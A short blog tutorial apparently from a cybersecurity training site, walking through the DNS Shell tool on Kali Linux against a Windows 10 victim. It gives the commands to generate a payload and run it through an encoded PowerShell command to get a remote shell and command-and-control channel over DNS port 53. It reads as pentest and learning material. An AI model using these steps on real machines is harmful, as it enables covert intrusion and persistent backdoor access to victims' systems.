0P3N Blog Blog Post
Ready to Start Your Career?
Create Free Account
By: gurubaran
December 31, 2017

DNS Shell – Tool to Compromise & Maintain Control of Victim Machines

By: gurubaran
December 31, 2017
By: gurubaran
December 31, 2017
DNS protocol runs on the application layer of TCP/IP Model.When an attacker or pentester tries to exploit DNS with RCE vulnerability (Remote Command Execution) destination server acts as the backdoor.DNS Shell Tool is python based exploitation tool to compromise and also maintaining the access via command and control to the server.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)


  • Download the DNS SHELL tool here.
  • Execute the command: python DNS-SHELL.py
  • It can be utilized with different modes, Recursive mode (It will run the DNS name) and Direct mode will run as Ip address provided (Kali Linux IP)

Generating Payload – DNS Shell

  • Above Figure is Recursive mode.
  • Recursive Command Executed: Python DNS-Shell.py -l -r <Domain Name>

NOTE: Command to be executed for direct mode: Python DNS-Shell.py -l -d

  • Above figure shows recursive mode has generated payload.

Victims Machine

  • Run & Execute the Command with CMDPowershell.exe -e <Copy and paste the Generated Payload HERE>


  • Once the payload is executed in victims machine. Shell of Windows 10 machine is obtained.
  • Above Figure shows destination (windows 10) now acts as backdoor and command is entered and turns to Convert Channel to over port 53 of DNS.Happy Hacking !!!
Please visit www.gbhackers.com for Daily Hacking news, Tutorials, and more Infosec Resources.

Join over 2 million IT and cyber professionals advancing their careers



Already have an account? Sign In »

Ready to Share Your Original Content?

Build your Cybersecurity or IT Career

Accelerate in your role, earn new certifications, and develop cutting-edge skills using the fastest growing catalog in the industry